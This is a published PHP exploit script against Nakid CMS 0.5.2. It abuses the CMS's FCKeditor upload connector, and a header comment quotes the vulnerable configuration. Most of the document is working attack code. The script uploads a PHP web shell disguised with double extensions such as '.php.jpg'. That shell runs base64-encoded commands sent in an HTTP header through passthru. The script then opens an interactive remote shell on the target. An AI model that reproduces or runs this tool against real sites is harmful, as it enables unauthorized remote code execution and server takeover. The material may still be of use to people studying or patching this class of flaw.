Nakid CMS 0.5.2 – ‘FCKeditor’ Arbitrary File Upload
<?php /* Title: Nakid CMS (fckeditor) Remote Arbitrary File Upload Exploit Developers: www.nakid.org Download : https://sourceforge.net/projects/nakidcms/files/Nakid%20CMS%20v_0_5_2.rar/download Version: 0.5.2 exploited by ..: eidelweiss details..: works with an Apache server with the mod_mime module installed (if specific) [-] vulnerable code in path/includes/js/fckeditor/editor/filemanager/connectors/php/config.php [*] // SECURITY: You must explicitly enable this "connector". (Set it to "true"). [*] [*] $Config['Enabled'] = true ; [*] [*] // Path to user files relative to the document root. [*] $Config['UserFilesPath'] = '/nakid_uploads/' ; [*] //$Config['UserFilesPath'] = '/userfiles/' ; [*] [*] // Fill the following value it you prefer to specify the absolute path for the [*] // user files directory. Usefull if you are using a virtual directory, symbolic [*] // link or alias. Examples: 'C:\\MySite\\UserFiles\\' or '/root/mysite/UserFiles/'. [*] // Attention: The above 'UserFilesPath' must point to the same directory. [*] [*] // What the user can do with this connector. [*] $Config['ConfigAllowedCommands'] = array('QuickUpload', 'FileUpload', 'GetFolders', 'GetFoldersAndFiles', 'CreateFolder') ; [*] [*] $Config['AllowedExtensions']['File'] = array('7z', 'aiff', 'asf', 'avi', 'bmp', 'csv', 'doc', 'fla', 'flv', 'gif', 'gz', [....] [*] $Config['DeniedExtensions']['File'] = array() ; [*] [*] $Config['AllowedExtensions']['Image'] = array('bmp','gif','jpeg','jpg','png') ; [*] $Config['DeniedExtensions']['Image'] = array() ; [*] [*] $Config['AllowedExtensions']['Flash'] = array('swf','flv') ; [*] $Config['DeniedExtensions']['Flash'] = array() ; [*] [*] $Config['AllowedExtensions']['Media'] = array('aiff', 'asf', 'avi', 'bmp', 'fla', 'flv', 'gif', 'jpeg', 'jpg', 'mid', 'mov', 'mp3', 'mp4', 'mpc', 'mpeg', 'mpg', 'png', 'qt', 'ram', 'rm', 'rmi', 'rmvb', 'swf', 'tif', 'tiff', 'wav', 'wma', 'wmv') ; [*] $Config['DeniedExtensions']['Media'] = array() ; with a default configuration of this script, an attacker might be able to upload arbitrary files containing malicious PHP code due to multiple file extensions isn't properly checked */ */ error_reporting(0); set_time_limit(0); ini_set("default_socket_timeout", 5); function http_send($host, $packet) { $sock = fsockopen($host, 80); while (!$sock) { print "\n[-] No response from {$host}:80 Trying again..."; $sock = fsockopen($host, 80); } fputs($sock, $packet); while (!feof($sock)) $resp .= fread($sock, 1024); fclose($sock); return $resp; } function upload() { global $host, $path; $connector = "/includes/js/fckeditor/editor/filemanager/connectors/php/config.php"; $file_ext = array("zip", "jpg", "fla", "doc", "xls", "rtf", "csv"); foreach ($file_ext as $ext) { print "\n[-] Trying to upload with .{$ext} extension..."; $data = "--abcdef\r\n"; $data .= "Content-Disposition: form-data; name=\"NewFile\"; filename=\"0k.php.{$ext}\"\r\n"; $data .= "Content-Type: application/octet-stream\r\n\r\n"; $data .= "<?php \${print(_code_)}.\${passthru(base64_decode(\$_SERVER[HTTP_CMD]))}.\${print(_code_)} ?>\r\n"; $data .= "--abcdef--\r\n"; $packet = "POST {$path}{$connector}?Command=FileUpload&CurrentFolder={$path} HTTP/1.0\r\n"; $packet .= "Host: {$host}\r\n"; $packet .= "Content-Length: ".strlen($data)."\r\n"; $packet .= "Content-Type: multipart/form-data; boundary=abcdef\r\n"; $packet .= "Connection: close\r\n\r\n"; $packet .= $data; preg_match("/OnUploadCompleted\((.*),'(.*)'\)/i", http_send($host, $packet), $html); if (!in_array(intval($html[1]), array(0, 201))) die("\n[-] Upload failed! (Error {$html[1]}: {$html[2]})\n"); $packet = "GET {$path}0k.php.{$ext} HTTP/1.0\r\n"; $packet .= "Host: {$host}\r\n"; $packet .= "Connection: close\r\n\r\n"; $html = http_send($host, $packet); if (!eregi("print", $html) and eregi("_code_", $html)) return $ext; sleep(1); } return false; } print "\n+--------------------------------------------------------------------------+"; print "\n| Nakid CMS (fckeditor) Remote Arbitrary File Upload Exploit by eidelweiss |"; print "\n+--------------------------------------------------------------------------+\n"; if ($argc < 3) { print "\nUsage......: php $argv[0] host path\n"; print "\nExample....: php $argv[0] localhost /"; print "\nExample....: php $argv[0] localhost /Nakid/\n"; die(); } $host = $argv[1]; $path = $argv[2]; if (!($ext = upload())) die("\n\n[-] Exploit failed You are not lucky...\n"); else print "\n[-] Shell uploaded in progress...!\n"; define(STDIN, fopen("php://stdin", "r")); while(1) { print "\Nakid-shell# "; $cmd = trim(fgets(STDIN)); if ($cmd != "exit") { $packet = "GET {$path}0k.php.{$ext} HTTP/1.0\r\n"; $packet.= "Host: {$host}\r\n"; $packet.= "Cmd: ".base64_encode($cmd)."\r\n"; $packet.= "Connection: close\r\n\r\n"; $html = http_send($host, $packet); if (!eregi("_code_", $html)) die("\n[-] Exploit failed You are not lucky...\n"); $shell = explode("_code_", $html); print "\n{$shell[1]}"; } else break; } ?> |